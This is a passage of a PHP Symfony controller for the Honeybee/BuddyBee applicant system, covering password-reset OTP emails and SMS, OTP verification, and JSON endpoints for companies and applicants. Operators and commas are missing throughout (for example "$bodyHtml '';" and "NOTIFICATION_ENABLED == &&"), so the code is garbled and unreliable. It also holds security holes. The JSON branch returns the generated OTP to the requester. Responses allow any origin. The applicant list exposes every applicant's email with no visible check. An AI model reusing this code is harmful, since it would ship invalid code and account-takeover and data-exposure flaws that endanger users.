  9064.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9065. //                            'emailBody' => $bodyHtml,
  9066.                         'mailTemplate' => $bodyTemplate,
  9067.                         'templateData' => $bodyData,
  9068. //                        'embedCompanyImage' => 1,
  9069. //                        'companyId' => $companyId,
  9070. //                        'companyImagePath' => $company_data->getImage()
  9071.                     ));
  9072.                 } else {
  9073.                     $bodyHtml '';
  9074.                     $bodyTemplate $email_twig_file;
  9075.                     $bodyData $email_twig_data;
  9076.                     $attachments = [];
  9077.                     $forwardToMailAddress $email_address;
  9078. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9079.                     $new_mail $this->get('mail_module');
  9080.                     $new_mail->sendMyMail(array(
  9081.                         'senderHash' => '_CUSTOM_',
  9082.                         //                        'senderHash'=>'_CUSTOM_',
  9083.                         'forwardToMailAddress' => $forwardToMailAddress,
  9084.                         'subject' => 'Applicant Registration on Honeybee',
  9085. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9086.                         'attachments' => $attachments,
  9087.                         'toAddress' => $forwardToMailAddress,
  9088.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9089.                         'userName' => 'accounts@ourhoneybee.eu',
  9090.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9091.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9092.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9093.                         'emailBody' => $bodyHtml,
  9094.                         'mailTemplate' => $bodyTemplate,
  9095.                         'templateData' => $bodyData,
  9096. //                        'embedCompanyImage' => 1,
  9097. //                        'companyId' => $companyId,
  9098. //                        'companyImagePath' => $company_data->getImage()
  9099.                     ));
  9100.                 }
  9101.             }
  9102.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9103.                 if ($systemType == '_BUDDYBEE_') {
  9104.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9105.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9106.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9107.                      _APPEND_CODE_';
  9108.                     $msg str_replace($searchVal$replaceVal$msg);
  9109.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9110.                     $sendType 'all';
  9111.                     $socketUserIds = [];
  9112.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9113.                 } else {
  9114.                 }
  9115.             }
  9116.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9117.                 $response = new JsonResponse(array(
  9118.                         'templateData' => $twigData,
  9119.                         'message' => $message,
  9120. //                        "otp"=>'',
  9121.                         "otp" => $otp,
  9122.                         "otpExpireTs" => $otpExpireTs,
  9123.                         'actionData' => $email_twig_data,
  9124.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9125.                     )
  9126.                 );
  9127.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9128.                 return $response;
  9129.             } else if ($email_twig_data['success'] == true) {
  9130.                 $encData = array(
  9131.                     "userType" => $userType,
  9132.                     "otp" => '',
  9133. //                "otp"=>$otp,
  9134.                     "otpExpireTs" => $otpExpireTs,
  9135.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9136.                     "userCategory" => $userCategory,
  9137.                     "userId" => $userData['id'],
  9138.                     "systemType" => $systemType,
  9139.                     "email" => $email_address,
  9140.                 );
  9141.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9142.                 $url $this->generateUrl(
  9143.                     'verify_otp'
  9144.                 );
  9145.                 return $this->redirect($url "/" $encDataStr);
  9146. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9147. ////                    'encData'
  9148. ////                'id' => $isApplicantExist->getApplicantId(),
  9149. ////                'oAuthData' => $oAuthData,
  9150. ////                'refRoute' => $refRoute,
  9151. //                ]);
  9152.             }
  9153.         }
  9154.         if ($systemType == '_ERP_') {
  9155.             if ($userCategory == '_APPLICANT_') {
  9156.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9157.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9158.                 $twigData = [
  9159.                     'page_title' => 'Find Account',
  9160.                     'encryptedData' => $encryptedData,
  9161.                     'message' => $message,
  9162.                     'systemType' => $systemType,
  9163.                     'ownServerId' => $ownServerId,
  9164.                     'userType' => $userType,
  9165.                     'errorField' => $errorField,
  9166.                 ];
  9167.             } else {
  9168.                 $userType UserConstants::USER_TYPE_GENERAL;
  9169.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9170.                 $twigData = [
  9171.                     'page_title' => 'Find Account',
  9172.                     'encryptedData' => $encryptedData,
  9173.                     'systemType' => $systemType,
  9174.                     'ownServerId' => $ownServerId,
  9175.                     'message' => $message,
  9176.                     'userType' => $userType,
  9177.                     'errorField' => $errorField,
  9178.                 ];
  9179.             }
  9180.         } else if ($systemType == '_CENTRAL_') {
  9181.             $userType UserConstants::USER_TYPE_APPLICANT;
  9182.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9183.             $twigData = [
  9184.                 'page_title' => 'Find Account',
  9185.                 'encryptedData' => $encryptedData,
  9186.                 'systemType' => $systemType,
  9187.                 'ownServerId' => $ownServerId,
  9188.                 "otp" => '',
  9189. //                "otp"=>$otp,
  9190.                 "otpExpireTs" => $otpExpireTs,
  9191.                 'message' => $message,
  9192.                 'userType' => $userType,
  9193.                 'errorField' => $errorField,
  9194.             ];
  9195.         } else if ($systemType == '_BUDDYBEE_') {
  9196.             $userType UserConstants::USER_TYPE_APPLICANT;
  9197.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9198.             $twigData = [
  9199.                 'page_title' => 'Find Account',
  9200.                 'encryptedData' => $encryptedData,
  9201.                 "otp" => '',
  9202.                 'systemType' => $systemType,
  9203.                 'ownServerId' => $ownServerId,
  9204. //                "otp"=>$otp,
  9205.                 "otpExpireTs" => $otpExpireTs,
  9206.                 'message' => $message,
  9207.                 'userType' => $userType,
  9208.                 'errorField' => $errorField,
  9209.             ];
  9210.         }
  9211.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9212.             $response = new JsonResponse(array(
  9213.                     'templateData' => $twigData,
  9214.                     'message' => $message,
  9215.                     "otp" => '',
  9216. //                "otp"=>$otp,
  9217.                     "otpExpireTs" => $otpExpireTs,
  9218.                     'actionData' => $email_twig_data,
  9219.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9220.                 )
  9221.             );
  9222.             $response->headers->set('Access-Control-Allow-Origin''*');
  9223.             return $response;
  9224.         } else {
  9225.             return $this->render(
  9226.                 $twig_file,
  9227.                 $twigData
  9228.             );
  9229.         }
  9230.     }
  9231.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9232.     {
  9233. //        $userCategory=$request->request->has('userCategory');
  9234.         $encryptedData = [];
  9235.         $errorField '';
  9236.         $message '';
  9237.         $userType '';
  9238.         $otpExpireSecond 180;
  9239.         $otpExpireTs 0;
  9240.         if ($encData != '')
  9241.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9242. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9243.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9244.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9245.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9246.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9247.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9248.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9249.         $em $this->getDoctrine()->getManager('company_group');
  9250.         $em_goc $this->getDoctrine()->getManager('company_group');
  9251.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9252.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9253.         $twigData = [];
  9254.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9255.         $email_twig_data = [];
  9256.         $userData = [];
  9257.         if ($request->isMethod('POST') || $otp != '') {
  9258.             $otp $request->request->get('otp'$otp);
  9259.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9260.             $userId $request->request->get('userId'$userId);
  9261.             $userCategory $request->request->get('userCategory'$userCategory);
  9262.             $email_address $request->request->get('email'$email);
  9263.             if ($systemType == '_ERP_') {
  9264.                 if ($userCategory == '_APPLICANT_') {
  9265.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9266.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9267.                         array(
  9268.                             'email' => $email_address
  9269.                         )
  9270.                     );
  9271.                     if ($userObj) {
  9272.                     } else {
  9273.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9274.                             array(
  9275.                                 'oAuthEmail' => $email_address
  9276.                             )
  9277.                         );
  9278.                         if ($userObj) {
  9279.                         } else {
  9280.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9281.                                 array(
  9282.                                     'userName' => $email_address
  9283.                                 )
  9284.                             );
  9285.                         }
  9286.                     }
  9287.                     if ($userObj) {
  9288.                         $email_address $userObj->getEmail();
  9289.                         if ($email_address == null || $email_address == '')
  9290.                             $email_address $userObj->getOAuthEmail();
  9291.                     }
  9292. //                    triggerResetPassword:
  9293. //                    type: integer
  9294. //                          nullable: true
  9295.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9296.                     $userObj->setOtp($otpData['otp']);
  9297.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9298.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9299.                     $em_goc->flush();
  9300.                     $userData = array(
  9301.                         'id' => $userObj->getApplicantId(),
  9302.                         'email' => $email_address,
  9303.                         'appId' => 0,
  9304. //                        'appId'=>$userObj->getUserAppId(),
  9305.                     );
  9306.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9307.                     $email_twig_data = [
  9308.                         'page_title' => 'Find Account',
  9309.                         'encryptedData' => $encryptedData,
  9310.                         'message' => $message,
  9311.                         'userType' => $userType,
  9312.                         'errorField' => $errorField,
  9313.                         'otp' => $otpData['otp'],
  9314.                         'otpExpireSecond' => $otpExpireSecond,
  9315.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9316.                         'otpExpireTs' => $otpData['expireTs'],
  9317.                         'systemType' => $systemType,
  9318.                         'userData' => $userData
  9319.                     ];
  9320.                     if ($userObj)
  9321.                         $email_twig_data['success'] = true;
  9322.                 } else {
  9323.                     $userType UserConstants::USER_TYPE_GENERAL;
  9324.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9325.                     $email_twig_data = [
  9326.                         'page_title' => 'Find Account',
  9327.                         'encryptedData' => $encryptedData,
  9328.                         'message' => $message,
  9329.                         'userType' => $userType,
  9330.                         'errorField' => $errorField,
  9331.                     ];
  9332.                 }
  9333.             } else if ($systemType == '_BUDDYBEE_') {
  9334.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9335.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9336.                     array(
  9337.                         'applicantId' => $userId
  9338.                     )
  9339.                 );
  9340.                 if ($userObj) {
  9341.                     $userOtp $userObj->getOtp();
  9342.                     $userOtpActionId $userObj->getOtpActionId();
  9343.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9344.                     $otpExpireTs $userObj->getOtpExpireTs();
  9345.                     $currentTime = new \DateTime();
  9346.                     $currentTimeTs $currentTime->format('U');
  9347.                     if ($userOtp != $otp) {
  9348.                         $message "Invalid OTP!";
  9349.                         $email_twig_data['success'] = false;
  9350.                     } else if ($userOtpActionId != $otpActionId) {
  9351.                         $message "Invalid OTP Action!";
  9352.                         $email_twig_data['success'] = false;
  9353.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9354.                         $message "OTP Expired!";
  9355.                         $email_twig_data['success'] = false;
  9356.                     } else {
  9357.                         $userObj->setOtp(0);
  9358.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9359.                         $userObj->setOtpExpireTs(0);
  9360.                         $userObj->setTriggerResetPassword(1);
  9361.                         $em_goc->flush();
  9362.                         $email_twig_data['success'] = true;
  9363.                         $message "";
  9364.                     }
  9365.                     $userData = array(
  9366.                         'id' => $userObj->getApplicantId(),
  9367.                         'email' => $email_address,
  9368.                         'appId' => 0,
  9369.                         'image' => $userObj->getImage(),
  9370.                         'firstName' => $userObj->getFirstname(),
  9371.                         'lastName' => $userObj->getLastname(),
  9372. //                        'appId'=>$userObj->getUserAppId(),
  9373.                     );
  9374.                     $email_twig_data['userData'] = $userData;
  9375.                 } else {
  9376.                     $message "Account not found!";
  9377.                     $email_twig_data['success'] = false;
  9378.                 }
  9379.             }
  9380.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9381.                 $response = new JsonResponse(array(
  9382.                         'templateData' => $twigData,
  9383.                         'message' => $message,
  9384.                         'actionData' => $email_twig_data,
  9385.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9386.                     )
  9387.                 );
  9388.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9389.                 return $response;
  9390.             } else if ($email_twig_data['success'] == true) {
  9391.                 $encData = array(
  9392.                     "userType" => $userType,
  9393.                     "otp" => '',
  9394.                     "otpExpireTs" => $otpExpireTs,
  9395.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9396.                     "userCategory" => $userCategory,
  9397.                     "userId" => $userData['id'],
  9398.                     "systemType" => $systemType,
  9399.                 );
  9400.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9401.                 $url $this->generateUrl(
  9402.                     'reset_password_new_password'
  9403.                 );
  9404.                 return $this->redirect($url "/" $encDataStr);
  9405. //                return $this->redirectToRoute("reset_password_new_password", [
  9406. ////                'id' => $isApplicantExist->getApplicantId(),
  9407. ////                'oAuthData' => $oAuthData,
  9408. ////                'refRoute' => $refRoute,
  9409. //                ]);
  9410.             }
  9411.         }
  9412.         if ($systemType == '_ERP_') {
  9413.             if ($userCategory == '_APPLICANT_') {
  9414.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9415.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9416.                 $twigData = [
  9417.                     'page_title' => 'Find Account',
  9418.                     'encryptedData' => $encryptedData,
  9419.                     'message' => $message,
  9420.                     'userType' => $userType,
  9421.                     'errorField' => $errorField,
  9422.                 ];
  9423.             } else {
  9424.                 $userType UserConstants::USER_TYPE_GENERAL;
  9425.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9426.                 $twigData = [
  9427.                     'page_title' => 'Find Account',
  9428.                     'encryptedData' => $encryptedData,
  9429.                     'message' => $message,
  9430.                     'userType' => $userType,
  9431.                     'errorField' => $errorField,
  9432.                 ];
  9433.             }
  9434.         } else if ($systemType == '_BUDDYBEE_') {
  9435.             $userType UserConstants::USER_TYPE_APPLICANT;
  9436.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9437.             $twigData = [
  9438.                 'page_title' => 'Verify Otp',
  9439.                 'encryptedData' => $encryptedData,
  9440.                 'message' => $message,
  9441.                 'email' => $email,
  9442.                 "otp" => '',
  9443. //                "otp"=>$otp,
  9444.                 "otpExpireTs" => $otpExpireTs,
  9445.                 'userType' => $userType,
  9446.                 'userCategory' => $userCategory,
  9447.                 'errorField' => $errorField,
  9448.             ];
  9449.         }
  9450.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9451.             $response = new JsonResponse(array(
  9452.                     'templateData' => $twigData,
  9453.                     'message' => $message,
  9454.                     'actionData' => $email_twig_data,
  9455.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9456.                 )
  9457.             );
  9458.             $response->headers->set('Access-Control-Allow-Origin''*');
  9459.             return $response;
  9460.         } else {
  9461.             return $this->render(
  9462.                 $twig_file,
  9463.                 $twigData
  9464.             );
  9465.         }
  9466.     }
  9467. //    public function getCompanyByUser(Request $request){
  9468. //        $em = $this->getDoctrine()->getManager();
  9469. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9470. //        $session = $request->getSession();
  9471. //        $userId = $session->get(UserConstants::USER_ID);
  9472. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9473. //            ->select('U.userAppIdList')
  9474. //            ->where('U.userId = :userId')
  9475. //            ->setParameter('userId', $userId)
  9476. //            ->getQuery()
  9477. //            ->getResult();
  9478. //
  9479. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9480. //            ->select('C.name','C.appId')
  9481. //            ->getQuery()
  9482. //            ->getResult();
  9483. //
  9484. //        return new JsonResponse(
  9485. //            [
  9486. //                'applicantCompnayId' => $applicantDetails,
  9487. //                'copanyData' => $compnayDetails
  9488. //            ]
  9489. //        );
  9490.     public function getCompanyByUser(Request $request)
  9491.     {
  9492.         $em_goc $this->getDoctrine()->getManager('company_group');
  9493.         $em_goc->getConnection()->connect();
  9494.         $session $request->getSession();
  9495.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9496.         $userAppIdList json_decode($appIdstrue);
  9497.         if (!is_array($userAppIdList)) {
  9498.             return new JsonResponse([]);
  9499.         }
  9500.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9501.             ->createQueryBuilder('C')
  9502.             ->select('C.name, C.appId')
  9503.             ->where('C.appId IN (:appIds)')
  9504.             ->setParameter('appIds'$userAppIdList)
  9505.             ->getQuery()
  9506.             ->getResult();
  9507.         return new JsonResponse($companyData);
  9508.     }
  9509.     public function applicantList(Request $request)
  9510.     {
  9511.         $em_goc $this->getDoctrine()->getManager('company_group');
  9512.         $em_goc->getConnection()->connect();
  9513.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9514.             ->createQueryBuilder('C')
  9515.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9516.             ->getQuery()
  9517.             ->getResult();
  9518.         return new JsonResponse($applicantList);
  9519.     }
  9520.     public function getUserType()
  9521.     {
  9522.         $userType HumanResourceConstant::$userTypeForApp;
  9523.         return new JsonResponse($userType);
  9524.     }
  9525.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9526.     {
  9527.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9528.             return $accessList;
  9529.         }
  9530.         try {
  9531.             $customerAccessList $this->get('app.organization_identity_service')
  9532.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9533.         } catch (\Throwable $e) {
  9534.             return $accessList;
  9535.         }
  9536.         if (empty($customerAccessList)) {
  9537.             return $accessList;
  9538.         }
  9539.         $detailedClientApps = [];
  9540.         foreach ($customerAccessList as $item) {
  9541.             if (isset($item['appId'])) {
  9542.                 $detailedClientApps[(int)$item['appId']] = true;
  9543.             }
  9544.         }
  9545.         $filtered = [];
  9546.         foreach ($accessList as $item) {
  9547.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9548.                 && empty($item['erpClientId'])
  9549.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9550.             if (!$isGenericClient) {
  9551.                 $filtered[] = $item;
  9552.             }
  9553.         }
  9554.         return array_merge($filtered$customerAccessList);
  9555.     }
  9556.     public function updatepasswordAction(Request $request)
  9557.     {
  9558.         $em_goc $this->getDoctrine()->getManager('company_group');
  9559.         $session $request->getSession();
  9560.         $userId $session->get(UserConstants::USER_ID);
  9561.         if ($request->isMethod('POST')) {
  9562.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9563.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9564.             $user->setPassword($encodedPassword);
  9565.             $em_goc->persist($user);
  9566.             $em_goc->flush();
  9567.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9568.         }
  9569.     }
  9570. }